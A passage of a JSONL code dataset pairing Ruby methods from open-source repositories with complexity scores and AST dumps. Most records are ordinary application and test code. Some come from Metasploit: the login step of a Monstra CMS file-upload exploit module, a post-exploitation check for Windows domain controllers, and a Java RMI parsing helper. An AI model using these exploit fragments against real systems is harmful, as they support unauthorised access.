end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"make_lambda\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@override_target\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"716c4e7a-4501-4888-bb3d-56108641887d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/monstra_fileupload_exec.rb","start_line":96,"raw_source":"def login\n res = nil\n vprint_status('Trying to Login ......')\n # Send Creds with cookies.\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(uri, 'admin', 'index.php'),\n 'vars_post' => {\n 'login' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD'],\n 'login_submit' => 'Log+In'\n }\n })\n cookies = res.get_cookies\n\n fail_with(Failure::Unreachable, \"#{peer} - Did not respond to Login request\") if res.nil?\n\n # Try to access index page with authenticated cookie.\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(uri, 'admin' '/index.php'),\n 'cookie' => cookies\n })\n fail_with(Failure::Unreachable, \"#{peer} - Did not respond to Login request\") if res.nil?\n\n # if we redirect to core_welcome then we assume we have authenticated cookie.\n if res.code == 302 && res.headers['Location'].include?('index.php?id=dashboard')\n print_good(\"Authentication successful : [ #{datastore['USERNAME']} : #{datastore['PASSWORD']} ]\")\n store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])\n return cookies\n else\n fail_with(Failure::Unreachable, \"#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]\")\n end\n end","complexity_score":58.23,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Trying to Login ......\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"login\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"login_submit\"]},{\"type\":\"str\",\"children\":[\"Log+In\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Did not respond to Login request\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"/index.php\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Did not respond to Login request\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"index.php?id=dashboard\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authentication successful : [ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\" : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"str\",\"children\":[\" ]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"store_valid_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Authentication Failed :[ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"str\",\"children\":[\" ]\"]}]}]}]}]}]}","id":"abf9b36b-62ff-45d8-a31f-23216486553a"} {"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/logging_test.rb","start_line":79,"raw_source":"def test_enqueue_job_logging\n assert_notifications_count(/enqueue.*\\.active_job/, 1) do\n assert_notifications_count(\"enqueue.active_job\", 1) do\n HelloJob.perform_later \"Cristian\"\n end\n end\n\n assert_match(/Enqueued HelloJob \\(Job ID: .*?\\) to .*?:.*Cristian/, @logger.messages)\n end","complexity_score":8.23,"ast_json":"{\"type\":\"def\",\"children\":[\"test_enqueue_job_logging\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_notifications_count\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"enqueue.*\\\\.active_job\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_notifications_count\",{\"type\":\"str\",\"children\":[\"enqueue.active_job\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"Cristian\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Enqueued HelloJob \\\\(Job ID: .*?\\\\) to .*?:.*Cristian\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]}]}]}","id":"2494256e-8dd8-41d2-be9e-50192e31cd37"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack/request.rb","start_line":17,"raw_source":"def throttled_identifer(request_formats)\n identifier = authenticated_identifier(request_formats)\n return unless identifier\n\n identifier_type = identifier[:identifier_type]\n identifier_id = identifier[:identifier_id]\n\n if identifier_type == :user && Gitlab::RackAttack.user_allowlist.include?(identifier_id)\n Gitlab::Instrumentation::Throttle.safelist = 'throttle_user_allowlist'\n return\n end\n\n \"#{identifier_type}:#{identifier_id}\"\n end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"throttled_identifer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request_formats\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"identifier\",{\"type\":\"send\",\"children\":[null,\"authenticated_identifier\",{\"type\":\"lvar\",\"children\":[\"request_formats\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"identifier_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifier_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"identifier_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifier_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"RackAttack\"]},\"user_allowlist\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"identifier_id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Instrumentation\"]},\"Throttle\"]},\"safelist=\",{\"type\":\"str\",\"children\":[\"throttle_user_allowlist\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier_type\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier_id\"]}]}]}]}]}","id":"9b024a03-7bfa-4cfa-a8b2-1fe89cf2ef91"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/multisite/s3_store_spec.rb","start_line":313,"raw_source":"def expect_upload_acl_update(upload, upload_path)\n s3_bucket\n .expects(:object)\n .with(\"#{upload_path}/original/1X/#{upload.sha1}.#{upload.extension}\")\n .returns(s3_object)\n s3_object.expects(:acl).returns(s3_object)\n s3_object.expects(:put).with(acl: FileStore::S3Store::CANNED_ACL_PRIVATE).returns(s3_object)\n end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_upload_acl_update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]},{\"type\":\"arg\",\"children\":[\"upload_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s3_bucket\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"object\"]}]},\"with\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_path\"]}]},{\"type\":\"str\",\"children\":[\"/original/1X/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"sha1\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"extension\"]}]}]}]},\"returns\",{\"type\":\"send\",\"children\":[null,\"s3_object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s3_object\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"acl\"]}]},\"returns\",{\"type\":\"send\",\"children\":[null,\"s3_object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s3_object\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"put\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"acl\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileStore\"]},\"S3Store\"]},\"CANNED_ACL_PRIVATE\"]}]}]}]},\"returns\",{\"type\":\"send\",\"children\":[null,\"s3_object\"]}]}]}]}","id":"b9d2114e-ceb7-48b6-a963-c86f78e15996"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/notifications_test.rb","start_line":112,"raw_source":"def test_subscribe\n event_name = \"foo\"\n class_of_started = nil\n class_of_finished = nil\n\n ActiveSupport::Notifications.subscribe(event_name) do |name, started, finished, unique_id, data|\n class_of_started = started.class\n class_of_finished = finished.class\n end\n\n ActiveSupport::Notifications.instrument(event_name)\n\n assert_equal [Time, Time], [class_of_started, class_of_finished]\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_subscribe\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event_name\",{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"lvasgn\",\"children\":[\"class_of_started\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"class_of_finished\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"lvar\",\"children\":[\"event_name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"started\"]},{\"type\":\"arg\",\"children\":[\"finished\"]},{\"type\":\"arg\",\"children\":[\"unique_id\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_of_started\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"started\"]},\"class\"]}]},{\"type\":\"lvasgn\",\"children\":[\"class_of_finished\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finished\"]},\"class\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"lvar\",\"children\":[\"event_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},{\"type\":\"const\",\"children\":[null,\"Time\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_of_started\"]},{\"type\":\"lvar\",\"children\":[\"class_of_finished\"]}]}]}]}]}","id":"5b7ec1cc-9cfa-4556-83d0-3e1113b118f4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/integrations_helper.rb","start_line":352,"raw_source":"def integration_level(integration)\n if integration.instance_level?\n 'instance'\n elsif integration.group_level?\n 'group'\n else\n 'project'\n end\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"integration_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"instance_level?\"]},{\"type\":\"str\",\"children\":[\"instance\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"group_level?\"]},{\"type\":\"str\",\"children\":[\"group\"]},{\"type\":\"str\",\"children\":[\"project\"]}]}]}]}","id":"d722bf53-7683-4805-88f2-16f9133b63c1"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/base_writer.rb","start_line":35,"raw_source":"def prepend_into_or_insert(parent_node, node)\n if first_child = parent_node.children.select(&:element?)&.first\n first_child.previous = node\n else\n node.parent = parent_node\n end\n end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"prepend_into_or_insert\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_node\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_child\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_node\"]},\"children\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"element?\"]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_child\"]},\"previous=\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent=\",{\"type\":\"lvar\",\"children\":[\"parent_node\"]}]}]}]}","id":"2afc15a7-4bd0-404b-a5ce-83f4153d1c12"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/admin/custom_fields/hierarchy/tree_view_component.rb","start_line":35,"raw_source":"def initialize(custom_field:, active_item:)\n super\n\n @custom_field = custom_field\n @active_item = active_item\n @hierarchy_service = ::CustomFields::Hierarchy::HierarchicalItemService.new\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"custom_field\"]},{\"type\":\"kwarg\",\"children\":[\"active_item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@custom_field\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@active_item\",{\"type\":\"lvar\",\"children\":[\"active_item\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@hierarchy_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"CustomFields\"]},\"Hierarchy\"]},\"HierarchicalItemService\"]},\"new\"]}]}]}]}","id":"d3bd5246-4298-4e0e-847e-eff925128357"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/quick_actions/issue/issue_links_quick_actions_shared_examples.rb","start_line":121,"raw_source":"def create_existing_link(command)\n issues = [issue, second_issue]\n source, target = command == :blocked_by ? issues.reverse : issues\n\n create(:issue_link, source: source, target: target, link_type: link_type)\n end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_existing_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issues\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},{\"type\":\"send\",\"children\":[null,\"second_issue\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\"]},{\"type\":\"lvasgn\",\"children\":[\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"==\",{\"type\":\"sym\",\"children\":[\"blocked_by\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"reverse\"]},{\"type\":\"lvar\",\"children\":[\"issues\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"issue_link\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_type\"]},{\"type\":\"send\",\"children\":[null,\"link_type\"]}]}]}]}]}]}","id":"8f0e64c7-0679-4064-b6e1-43ab13ecee41"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/about.rb","start_line":146,"raw_source":"def apply_excluded_groups(query, ignore_groups: [])\n group_ids = SiteSetting.about_page_hidden_groups_map - ignore_groups\n return query if group_ids.blank?\n\n query.joins(\n DB.sql_fragment(\n \"LEFT JOIN group_users ON group_id IN (:group_ids) AND user_id = users.id\",\n group_ids:,\n ),\n ).where(\"group_users.id\": nil)\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_excluded_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"kwoptarg\",\"children\":[\"ignore_groups\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"about_page_hidden_groups_map\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"ignore_groups\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_ids\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"joins\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"sql_fragment\",{\"type\":\"str\",\"children\":[\"LEFT JOIN group_users ON group_id IN (:group_ids) AND user_id = users.id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"lvar\",\"children\":[\"group_ids\"]}]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_users.id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"3b49574f-1213-4425-8250-90ada6bab82e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/accounts.rb","start_line":72,"raw_source":"def domain_controller?\n registry_enumkeys('HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS')&.include?('Parameters') ? true : false\n end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"domain_controller?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_enumkeys\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\NTDS\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"Parameters\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]}","id":"74bcaaa0-5159-4779-85e4-cb7a60eb15db"} {"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/action.rb","start_line":85,"raw_source":"def build_response(**options)\n options = options.merge(view_options: method(:view_options))\n super(**options)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_response\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"view_options\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"view_options\"]}]}]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}","id":"7cf36658-bfd6-4ab6-a85b-30abc081569c"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/runner.rb","start_line":458,"raw_source":"def setup_sigterm_trap\n INTERRUPT_SIGNALS.each do |signal|\n Kernel.trap(signal) { @worker_should_exit = true }\n end\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_sigterm_trap\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INTERRUPT_SIGNALS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"signal\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"trap\",{\"type\":\"lvar\",\"children\":[\"signal\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@worker_should_exit\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"89304fed-2948-4425-91cc-ccb68efa8a24"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/java/rmi/util.rb","start_line":72,"raw_source":"def extract_int(io)\n int_raw = io.read(4)\n unless int_raw && int_raw.length == 4\n return nil\n end\n int = int_raw.unpack('l>')[0]\n\n int\n 